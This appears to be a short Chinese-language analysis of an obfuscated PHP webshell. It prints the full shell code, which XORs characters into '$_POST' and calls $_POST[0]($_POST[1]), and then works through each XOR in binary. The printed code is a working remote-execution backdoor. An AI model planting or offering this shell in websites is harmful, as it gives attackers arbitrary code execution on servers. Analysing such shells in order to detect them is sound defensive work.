webshell的分析

1
2
3
4
5
6
7
8
9
10
11
<?php

@$_++;
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);

?>

在php里,定义的空变量值未false=0,所以$_自增之后的值为1;

^在php逻辑运算符里代表异或,即将符号转换为二进制之后进行异或运算,之后再转换为符号或字母等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"#"^"|"
00100011’^’ 01111100 ==> 01011111 ==> ‘_’

"."^"~"
00101110’^’ 01111110 ==> 01010000 ==> ‘P’

"/"^"`"
00101111’^’ 01100000 ==> 01001111 ==> ‘O’

"|"^"/"
01111100’^’ 00101111 ==> 01010011 ==> ‘S’

"{"^"/"
01111011’^’ 00101111 ==> 01010100 ==> ‘T’

${$__}[!$_](${$__}[$_]); ==> $_POST[0]($_POST[1]);